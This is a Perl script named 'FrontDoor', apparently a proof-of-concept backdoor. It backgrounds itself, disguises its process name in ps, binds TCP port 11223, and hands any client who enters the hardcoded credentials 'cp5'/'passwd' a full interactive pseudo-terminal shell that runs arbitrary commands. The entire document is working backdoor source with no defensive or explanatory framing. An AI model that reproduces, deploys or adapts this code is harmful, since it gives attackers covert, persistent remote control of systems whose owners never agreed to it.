#!/usr/bin/perl

# by CommPort5[@LucidX.com] (samy)
# opens a pty instead of just a plain connection so ansi can get through, PoC

$login = 0;           # if = 1, use $loginbin to login as a regular user
                      # if = 0, use it's own username and password
# login not active yet!
$0 = "FrontDoor";      # what to show instead of 'perl frontdoor.pl' in a ps
$pwprompt = 2;        # if = 2, prompts you for a username and password
                      # if = 1, prompts you for a password
                      # if = 0, accepts the password (but no text is shown)
$amtusers = 02;       # amount of connections allowed at once
$username = "cp5";    # username (required, but only used if $pwprompt = 1 or 2)
$password = "passwd"; # password
$port = 11223;        # port to bind to
$bindtoip = 0;        # if = 1, binds to $ip
                      # if = 0, ignores $ip and binds to default IP
$ip = "123.45.67.89"; # binds to this ip only if $bindtoip = 1
$loginbin = "/usr/bin/login"; # path to `login` bin

use blib;
use Cwd;
use IO::Pty;
use IO::Socket;
use Term::ANSIColor;
require POSIX;
defined($fork = fork());
($fork) && die "FrontDoor running on PID $fork\n";
$ver = "0.1b2";
if($bindtoip) {
 $x = IO::Socket::INET->new(
  LocalPort => $port,
  LocalAddr => $ip,
  Listen => $amtusers,
  Proto => 'tcp',
  Reuse => 1)
  or die "Unable to bind to socket: $!\n";;
}
else {
 $x = IO::Socket::INET->new(
  LocalPort => $port,
  Listen => $amtusers,
  Proto => 'tcp',
  Reuse => 1)
  or die "Unable to bind to socket: $!\n";
}
while(my $c = $x->accept) {
 die unless defined(my $child = fork());
 if ($child == 0) {
  $x->close;
  interact($c);
  exit 0;
 }
}
continue {
 $c->close;
}
sub interact {
 my $s = shift;
 STDIN->fdopen($s, "r");
 STDOUT->fdopen($s, "w");
 STDERR->fdopen($s, "w");
 STDOUT->autoflush(1);
 if($pwprompt == 2) {
  print colored("\nWelcome! ", 'red');
  print "This host is running ";
  print colored("FrontDoor ", 'bold');
  print colored("[$0] ", 'bold blue');
  print colored("v.$ver\n\n", 'bold red');
  print "Login: ";
  chomp($us = <STDIN>);
  print "Password: ";
 }
 if($pwprompt == 1) {
  print colored("\nWelcome! ", 'red');
  print "This host is running ";
  print colored("FrontDoor ", 'bold');
  print colored("[$0] ", 'bold blue');
  print colored("v.$ver\n\n", 'bold red');
  print "\nPassword: ";
 }
 chomp($x = <STDIN>);
 if($pwprompt == 2 and $us !~ /^$username/i) {
  die "\nIncorrect username or password\n";
  close($x);
 }
 if($x =~ /^$password/) {
  print "\n";
  do {
   $pwd = cwd;
   print "pt";
   print colored("SH", 'bold');
   print colored("[", 'bold blue');
   print colored("$username", 'red');
   print colored("\@", 'bold green');
   print colored("$pwd", 'yellow');
   print colored("]", 'bold blue');
   print colored("\$", 'underline bold blink black on_white');
   print " ";
   chomp($y = <STDIN>);
   if($y =~ /^\s*exit/) {
    die "Good bye, $username!\n";
   }
   else {
    @cm = split(/\s+/, $y);
    $pty = new IO::Pty;
    if(@cm and $cm[0] =~ /^cd$/) {
     chdir($cm[1]);
     $num = 2;
     while($cm[$num]) {
      $nc .= $cm[$num];
      $num++;
     }
     @cm = split(/\s+/, $nc);
    }
    if(@cm and $cm[0] !~ /^cd$/) {
     my $pid = fork;
     die "Cannot fork: $!" if($pid < 0);
     if($pid) {
      parent($pty);
     }
     else {
      child($pty);
     }
    }
    sub child {
     my($pty) = @_;
     POSIX::setsid();
     my $tty = $pty->slave;
     close($pty);
     open(STDIN, "<&".fileno($tty)) || (sleep(5), die "Cannot open STDIN");
     open(STDOUT, ">&".fileno($tty)) || (sleep(5), die "Cannot open STDOUT");
     open(STDERR, ">&STDOUT") || (sleep(5), die "Cannot open STDERR");
     close($tty);
     my $prog = shift(@cm);
     if(!@cm && $prog =~ /sh$/) {
      exec $prog '-sh'
     }
     exec($prog, @cm);
     die "Unable to execute\n";
    }
    sub process {
     my($rin, $src, $dst) = @_;
     my $buf = '';
     my $read = sysread($src, $buf, 1);
     if(defined $read && $read) {
      syswrite($dst, $buf, $read);
     }
     else {
      vec($rin, fileno($src), 1) = 0;
     }
     return $rin;
    }
    sub parent {
     my($pty) = @_;
     my $tty = $pty;
     my($rin, $win, $ein) = ('', '', '');
     vec($rin, fileno(STDIN), 1) = 1;
     vec($rin, fileno($tty), 1) = 1;
     vec($win, fileno($tty), 1) = 1;
     vec($ein, fileno($tty), 1) = 1;
     select($tty);
     $| = 1;
     select(STDOUT);
     $| = 1;
     while(1) {
      my($rout, $wout, $eout, $timeleft);
      ($nfound, $timeleft) = select($rout = $rin, $wout = $win, $eout = $ein, 3600);
      die "select failed: $!" if($nfound < 0);
      if($nfound > 0) {
       if(vec($eout, fileno($tty), 1)) {
       }
       if(vec($rout, fileno($tty), 1)) {
        $rin = process($rin, $tty, STDOUT);
        last unless(vec($rin, fileno($tty), 1));
       }
       elsif(vec($rout, fileno(STDIN), 1) && vec($wout, fileno($tty), 1)) {
        $rin = process($rin, STDIN, $tty);
       }
      }
     }
    }
   }
  }
  while(1);
}
else {
  if($pwprompt == 2) {
   die "\nIncorrect username or password\n";
   close($x);
  }
  if($pwprompt == 1) {
   die "\nIncorrect password\n";
   close($x);
  }
  if($pwprompt == 0) {
   die "\n";
   close($x);
  }
 }
}
